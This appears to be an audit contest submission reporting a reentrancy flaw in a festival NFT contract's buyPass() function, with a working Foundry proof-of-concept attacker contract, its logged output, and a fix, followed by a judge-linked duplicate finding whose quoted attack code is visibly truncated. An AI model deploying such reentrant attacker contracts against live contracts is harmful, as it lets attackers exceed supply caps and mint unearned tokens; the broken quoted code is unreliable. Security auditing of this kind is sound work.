Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass() lets a receiver bypass passMaxSupply and mint extra VIP/BACKSTAGE bonuses

Reentrancy in buyPass() lets a receiver bypass passMaxSupply and mint extra VIP/BACKSTAGE bonuses

Scope

  • FestivalPass.sol

  • buyPass(uint256 collectionId)

  • inherited ERC1155 receiver acceptance hook flow

  • BeatToken.mint(...) welcome bonus path for VIP/BACKSTAGE passes

Root + Impact

Description

The normal behavior is that buyPass() should enforce the configured pass cap before minting. If a pass type is configured with maxSupply = 1, only one pass should ever be minted for that tier, and the corresponding welcome bonus should only be minted once per successful purchase.

The issue is that buyPass() performs _mint() before incrementing passSupply. In ERC1155, _mint() performs the receiver acceptance callback when the recipient is a contract. That callback gives the recipient a reentrancy point before passSupply has been updated, so the recipient can call buyPass() again while the old supply is still visible.

This lets an attacker-controlled receiver contract:

  • buy more passes than the configured passMaxSupply;

  • receive extra VIP/BACKSTAGE welcome bonuses;

  • break the intended scarcity and accounting of the pass sale system.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
@> require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
@> _mint(msg.sender, collectionId, 1, "");
@> ++passSupply[collectionId];
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
@> BeatToken(beatToken).mint(msg.sender, bonus);
}
}

In the OZ ERC1155 implementation used by the project, _mint() calls _updateWithAcceptanceCheck(), which explicitly warns that state updates after the acceptance check break the checks-effects-interactions pattern:

function _mint(address to, uint256 id, uint256 value, bytes memory data) internal {
...
@> _updateWithAcceptanceCheck(address(0), to, ids, values, data, false);
}
function _updateWithAcceptanceCheck(
address from,
address to,
uint256[] memory ids,
uint256[] memory values,
bytes memory data,
bool batch
) internal virtual {
_update(from, to, ids, values);
if (to != address(0)) {
...
@> ERC1155Utils.checkOnERC1155Received(operator, from, to, id, value, data);
}
}

The root cause is that the supply check is evaluated before _mint(), but the state variable that should make that check meaningful (passSupply) is only updated after the external receiver callback point.

Because of that, a malicious contract receiver can reenter buyPass() from onERC1155Received() and pass the exact same passSupply < passMaxSupply check again before the first call has incremented supply.

Risk

Likelihood:

  • The route is public and requires no owner or organizer privileges.

  • ERC1155 receiver callbacks are standard behavior for contract recipients, so the reentrancy surface is built into the chosen token flow.

  • The exploit requires only an attacker-controlled receiver contract and enough ETH to pay for the nested purchases.

  • The vulnerable ordering is deterministic: _mint() happens before passSupply++ on every purchase.

Impact:

  • The configured maximum pass supply can be exceeded.

  • VIP and BACKSTAGE welcome bonuses can be minted multiple times through one capped sale slot.

  • Pass scarcity and sale accounting become untrustworthy.

  • Extra passes can later be used to extract more attendance rewards than the configured supply should allow.

Proof of Concept

The following Foundry test configures VIP_PASS with maxSupply = 1, then uses a malicious ERC1155 receiver contract to reenter buyPass() during onERC1155Received():

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console2} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {ERC1155Holder} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
contract ReentrantPassBuyer is ERC1155Holder {
FestivalPass internal immutable festivalPass;
uint256 internal immutable passId;
uint256 internal immutable passPrice;
uint256 internal reentriesLeft;
constructor(FestivalPass _festivalPass, uint256 _passId, uint256 _passPrice, uint256 _reentriesLeft) {
festivalPass = _festivalPass;
passId = _passId;
passPrice = _passPrice;
reentriesLeft = _reentriesLeft;
}
function attack() external payable {
festivalPass.buyPass{value: passPrice}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes memory)
public
virtual
override
returns (bytes4)
{
if (reentriesLeft > 0) {
unchecked {
--reentriesLeft;
}
festivalPass.buyPass{value: passPrice}(passId);
}
return this.onERC1155Received.selector;
}
}
contract FestivalPassReentrancyTest is Test {
FestivalPass internal festivalPass;
BeatToken internal beatToken;
address internal organizer = makeAddr("organizer");
uint256 internal constant VIP_PASS = 2;
uint256 internal constant VIP_PRICE = 0.1 ether;
function setUp() public {
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.prank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, 1);
}
function test_ReentrancyBypassesPassMaxSupplyAndDuplicatesWelcomeBonus() public {
ReentrantPassBuyer attacker = new ReentrantPassBuyer(festivalPass, VIP_PASS, VIP_PRICE, 1);
vm.deal(address(attacker), 2 * VIP_PRICE);
attacker.attack();
console2.log("configured maxSupply", festivalPass.passMaxSupply(VIP_PASS));
console2.log("recorded passSupply", festivalPass.passSupply(VIP_PASS));
console2.log("attacker VIP balance", festivalPass.balanceOf(address(attacker), VIP_PASS));
console2.log("attacker BEAT balance", beatToken.balanceOf(address(attacker)));
assertEq(festivalPass.passMaxSupply(VIP_PASS), 1);
assertEq(festivalPass.balanceOf(address(attacker), VIP_PASS), 2);
assertEq(festivalPass.passSupply(VIP_PASS), 2);
assertEq(beatToken.balanceOf(address(attacker)), 10e18);
}
}

Observed result:

[PASS] test_ReentrancyBypassesPassMaxSupplyAndDuplicatesWelcomeBonus()
Logs:
configured maxSupply 1
recorded passSupply 2
attacker VIP balance 2
attacker BEAT balance 10000000000000000000

This confirms that:

  • the configured cap was 1;

  • the attacker still received 2 VIP passes;

  • recorded supply became 2;

  • the VIP welcome bonus was minted twice, for a total of 10e18 BEAT.

Recommended Mitigation

The function should follow checks-effects-interactions. At minimum, internal supply accounting must be updated before _mint() triggers the receiver callback. A reentrancy guard would also harden the path.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
}

An additional defensive hardening is:

- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {

The essential requirement is that no receiver callback can observe stale passSupply and reenter the purchase flow before the cap accounting is updated.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!